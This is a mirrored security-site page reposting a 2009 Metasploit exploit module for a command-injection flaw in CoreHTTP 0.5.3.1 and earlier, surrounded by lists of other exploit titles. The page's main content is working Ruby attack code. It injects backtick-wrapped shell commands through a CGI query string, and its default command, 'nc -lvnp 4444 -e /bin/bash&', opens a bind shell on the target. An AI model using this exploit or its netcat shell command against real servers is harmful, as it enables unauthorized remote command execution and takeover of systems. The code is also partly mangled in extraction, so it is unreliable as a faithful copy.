首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
corehttp remote command execution(meta)
来源:http://www.metasploit.com 作者:Conole 发布时间:2009-12-24  
###
## MSF Exploit for CoreHTTP CGI Enabled Remote Arbitrary Command Execution
## CoreHTTP fails to properly sanitize user input before passing it to popen,
## allowing anyone with a web browser to run arbitrary commands.
## No CVE for this yet.
###

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'		=> 'corehttp remote command execution',
			'Description'	=> %q{
				This module exploits a remote command execution vulnerability in corehttp versions 0.5.3.1 and earlier.
				It requires that you know the name of a cgi file on the server.
				NOTE: If you want to do something more than remote shell, you'll have to change CGICMD
			},
			'Author'	=> [ 'Aaron Conole' ],
			'License'	=> MSF_LICENSE,
			'Version'	=> '$Revision:
, 'References' => [ [ 'URL', 'http://aconole.brad-x.com/advisories/corehttp.txt' ], [ 'URL', 'http://corehttp.sourceforge.net' ], ], 'Priviledged' => false, 'Payload' => { 'Space' => 1024, }, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [[ 'Automatic', { }]], 'DefaultTarget' => 0)) register_options( [ OptString.new('CGIURI', [true, "The URI of the CGI file to request", "/foo.pl"]), OptString.new('CGICMD', [true, "The command to execute on the remote machine (note: it doesn't support redirection)", "nc -lvnp 4444 -e /bin/bash&"]) ], self.class) end def exploit timeout = 0.01 print_status ("Building URI") uri = "" uri = uri.concat(datastore['CGIURI']) uri = uri.concat("?%60") uri.concat(datastore['CGICMD']) uri = uri.gsub(" ", "%20") uri.concat("%60") uri = uri.gsub("&", "%26") print_status("Trying URI #{uri}") response = send_request_raw({ 'uri' => uri}, timeout) handler end end
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·linux 2.6.18-20 2009 Local Roo
·Simple PHP Blog v0.5.1 Local F
·Printoxx Local Buffer Overflow
·TFTP Daemon v1.9 Denial of Ser
·Adobe Reader and Acrobat (CVE-
·Easy RM to MP3 27.3.700 WinXP
·Easy RM to MP3 27.3.700 local
·PlayMeNow Malformed (M3U) Univ
·Exploit for against Easy RM to
·CoolPlayer 2.18 M3U Playlist B
·CastRipper 2.50.70 (.pls) Stac
·Winamp <= 5.57 Stack Overflow
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved